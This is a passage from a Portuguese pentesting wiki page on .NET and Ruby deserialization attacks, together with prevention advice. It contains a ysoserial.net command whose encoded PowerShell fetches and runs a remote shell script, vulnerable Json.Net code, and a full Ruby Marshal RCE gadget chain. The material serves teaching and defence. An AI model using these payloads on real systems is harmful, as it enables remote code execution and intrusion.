ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net também possui um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: --test
Se você indicar esse parâmetro, o ysoserial.net irá tentar o exploit localmente, para que você possa testar se seu payload funcionará corretamente.
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Isso significa que, para testar o exploit, o código chamará serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
No código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.
Assim, o parâmetro --test
nos permite entender quais trechos de código são vulneráveis ao exploit de deserialização que o ysoserial.net pode criar.
ViewState
Dê uma olhada neste POST sobre como tentar explorar o parâmetro __ViewState do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.
Prevenção
Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será deserializado. Você pode prevenir isso, por exemplo, usando o DataContractSerializer
ou XmlSerializer
, se possível.
Quando estiver usando JSON.Net
, certifique-se de que o TypeNameHandling
esteja configurado apenas como None
.
TypeNameHandling = TypeNameHandling.None
Se JavaScriptSerializer
for ser usado, então não o utilize com um JavaScriptTypeResolver
.
Se for necessário deserializar fluxos de dados que definem seu próprio tipo, então restrinja os tipos que são permitidos para deserialização. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos por si só. Exemplo:
System.IO.FileInfo
Objetos FileInfo
que referenciam arquivos realmente presentes no servidor podem, quando desserializados, alterar as propriedades desses arquivos, por exemplo, para somente leitura, criando um potencial ataque de negação de serviço.
Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades que são arriscadas. System.ComponentModel.DataAnnotations.ValidationException
, por exemplo, tem uma propriedade Value
do tipo Object
. Se esse tipo é o tipo permitido para desserialização, então um atacante pode definir a propriedade Value
para qualquer tipo de objeto que escolherem.
Atacantes devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, então até DataContractSerializer
ou XmlSerializer
podem ser subvertidos, por exemplo:
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
A execução pode ocorrer dentro de certos tipos .Net durante a desserialização. Criar um controle como o mostrado abaixo é ineficaz.
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
Para BinaryFormatter
e JSON.Net
é possível criar uma forma mais segura de controle de lista branca usando um SerializationBinder
personalizado.
Tente manter-se atualizado sobre os gadgets de deserialização insegura .Net conhecidos e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. Um deserializador só pode instanciar tipos que ele conhece.
Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, System.Windows.Data.ObjectDataProvider
usado em aplicações WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que deserializa dados não confiáveis.
Referências
- Java e .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c e slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby possui dois métodos para implementar serialização dentro da biblioteca marshal: o primeiro método é dump que converte objeto em fluxos de bytes (serialize). E o segundo método é load para converter fluxos de bytes em objeto novamente (deserialize).
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:
- config/environment.rb
- config/initializers/secret_token.rb
- config/secrets.yml
- /proc/self/environ
Cadeia de gadgets de deserialização genérica do Ruby 2.X para RCE (mais informações em https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Outra cadeia de RCE para explorar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.